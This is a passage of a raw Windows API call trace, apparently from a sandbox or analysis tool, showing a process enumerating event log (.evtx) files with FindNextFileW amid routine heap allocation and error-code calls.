hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0082.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581e38 | out: hHeap=0x520000) returned 1 [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.602] GetLastError () returned 0x12 [0082.602] SetLastError (dwErrCode=0x12) [0082.602] GetLastError () returned 0x12 [0082.602] SetLastError (dwErrCode=0x12) [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581398 [0082.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.602] GetLastError () returned 0x12 [0082.602] SetLastError (dwErrCode=0x12) [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0082.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57daf0 [0082.603] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0082.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581398 | out: hHeap=0x520000) returned 1 [0082.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.603] GetLastError () returned 0x12 [0082.603] SetLastError (dwErrCode=0x12) [0082.603] GetLastError () returned 0x12 [0082.603] SetLastError (dwErrCode=0x12) [0082.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581b90 [0082.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.603] GetLastError () returned 0x12 [0082.603] SetLastError (dwErrCode=0x12) [0082.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0082.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0082.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0082.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57db50 [0082.603] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0082.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581b90 | out: hHeap=0x520000) returned 1 [0082.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.603] GetLastError () returned 0x12 [0082.603] SetLastError (dwErrCode=0x12) [0082.603] GetLastError () returned 0x12 [0082.603] SetLastError (dwErrCode=0x12) [0082.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581f48 [0082.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.603] GetLastError () returned 0x12 [0082.603] SetLastError (dwErrCode=0x12) [0082.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0082.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57db90 [0082.604] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0082.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581f48 | out: hHeap=0x520000) returned 1 [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.604] GetLastError () returned 0x12 [0082.604] SetLastError (dwErrCode=0x12) [0082.604] GetLastError () returned 0x12 [0082.604] SetLastError (dwErrCode=0x12) [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581530 [0082.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.604] GetLastError () returned 0x12 [0082.604] SetLastError (dwErrCode=0x12) [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0082.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dbb0 [0082.604] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0082.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581530 | out: hHeap=0x520000) returned 1 [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.604] GetLastError () returned 0x12 [0082.604] SetLastError (dwErrCode=0x12) [0082.604] GetLastError () returned 0x12 [0082.604] SetLastError (dwErrCode=0x12) [0082.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581750 [0082.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.605] GetLastError () returned 0x12 [0082.605] SetLastError (dwErrCode=0x12) [0082.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581d28 [0082.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581d28 | out: hHeap=0x520000) returned 1 [0082.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581970 [0082.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dc70 [0082.605] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0082.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581750 | out: hHeap=0x520000) returned 1 [0082.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.605] GetLastError () returned 0x12 [0082.605] SetLastError (dwErrCode=0x12) [0082.605] GetLastError () returned 0x12 [0082.605] SetLastError (dwErrCode=0x12) [0082.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581860 [0082.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.605] GetLastError () returned 0x12 [0082.605] SetLastError (dwErrCode=0x12) [0082.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0082.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0082.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581288 [0082.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dbf0 [0082.605] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0082.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581860 | out: hHeap=0x520000) returned 1 [0082.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.606] GetLastError () returned 0x12 [0082.606] SetLastError (dwErrCode=0x12) [0082.606] GetLastError () returned 0x12 [0082.606] SetLastError (dwErrCode=0x12) [0082.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581398 [0082.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.606] GetLastError () returned 0x12 [0082.606] SetLastError (dwErrCode=0x12) [0082.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0082.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0082.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5816c8 [0082.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dc10 [0082.607] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0082.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581398 | out: hHeap=0x520000) returned 1 [0082.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.607] GetLastError () returned 0x12 [0082.607] SetLastError (dwErrCode=0x12) [0082.607] GetLastError () returned 0x12 [0082.607] SetLastError (dwErrCode=0x12) [0082.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5815b8 [0082.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.607] GetLastError () returned 0x12 [0082.607] SetLastError (dwErrCode=0x12) [0082.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0082.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0082.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0082.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dc90 [0082.607] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0082.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5815b8 | out: hHeap=0x520000) returned 1 [0082.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.607] GetLastError () returned 0x12 [0082.607] SetLastError (dwErrCode=0x12) [0082.607] GetLastError () returned 0x12 [0082.607] SetLastError (dwErrCode=0x12) [0082.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581ec0 [0082.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.607] GetLastError () returned 0x12 [0082.607] SetLastError (dwErrCode=0x12) [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0082.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5828d0 [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57de70 [0082.608] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0082.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581ec0 | out: hHeap=0x520000) returned 1 [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.608] GetLastError () returned 0x12 [0082.608] SetLastError (dwErrCode=0x12) [0082.608] GetLastError () returned 0x12 [0082.608] SetLastError (dwErrCode=0x12) [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581fd0 [0082.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.608] GetLastError () returned 0x12 [0082.608] SetLastError (dwErrCode=0x12) [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582510 [0082.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582510 | out: hHeap=0x520000) returned 1 [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582b28 [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dfd0 [0082.608] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0082.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581fd0 | out: hHeap=0x520000) returned 1 [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.608] GetLastError () returned 0x12 [0082.608] SetLastError (dwErrCode=0x12) [0082.608] GetLastError () returned 0x12 [0082.608] SetLastError (dwErrCode=0x12) [0082.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5815b8 [0082.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.609] GetLastError () returned 0x12 [0082.609] SetLastError (dwErrCode=0x12) [0082.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0082.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0082.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5827e0 [0082.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57de90 [0082.609] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0082.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5815b8 | out: hHeap=0x520000) returned 1 [0082.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.627] GetLastError () returned 0x12 [0082.627] SetLastError (dwErrCode=0x12) [0082.627] GetLastError () returned 0x12 [0082.627] SetLastError (dwErrCode=0x12) [0082.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5819f8 [0082.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.627] GetLastError () returned 0x12 [0082.628] SetLastError (dwErrCode=0x12) [0082.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0082.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0082.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0082.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57ddb0 [0082.628] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0082.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5819f8 | out: hHeap=0x520000) returned 1 [0082.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.628] GetLastError () returned 0x12 [0082.628] SetLastError (dwErrCode=0x12) [0082.628] GetLastError () returned 0x12 [0082.628] SetLastError (dwErrCode=0x12) [0082.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581420 [0082.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.628] GetLastError () returned 0x12 [0082.628] SetLastError (dwErrCode=0x12) [0082.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0082.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0082.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0082.628] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0082.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581420 | out: hHeap=0x520000) returned 1 [0082.628] GetLastError () returned 0x12 [0082.628] SetLastError (dwErrCode=0x12) [0082.628] GetLastError () returned 0x12 [0082.628] SetLastError (dwErrCode=0x12) [0082.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.629] GetLastError () returned 0x12 [0082.629] SetLastError (dwErrCode=0x12) [0082.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0082.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581f48 | out: hHeap=0x520000) returned 1 [0082.629] GetLastError () returned 0x12 [0082.629] SetLastError (dwErrCode=0x12) [0082.629] GetLastError () returned 0x12 [0082.629] SetLastError (dwErrCode=0x12) [0082.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.629] GetLastError () returned 0x12 [0082.629] SetLastError (dwErrCode=0x12) [0082.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ba0 | out: hHeap=0x520000) returned 1 [0082.629] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0082.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582058 | out: hHeap=0x520000) returned 1 [0082.629] GetLastError () returned 0x12 [0082.629] SetLastError (dwErrCode=0x12) [0082.629] GetLastError () returned 0x12 [0082.629] SetLastError (dwErrCode=0x12) [0082.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.629] GetLastError () returned 0x12 [0082.629] SetLastError (dwErrCode=0x12) [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0082.630] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581c18 | out: hHeap=0x520000) returned 1 [0082.630] GetLastError () returned 0x12 [0082.630] SetLastError (dwErrCode=0x12) [0082.630] GetLastError () returned 0x12 [0082.630] SetLastError (dwErrCode=0x12) [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.630] GetLastError () returned 0x12 [0082.630] SetLastError (dwErrCode=0x12) [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0082.630] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, 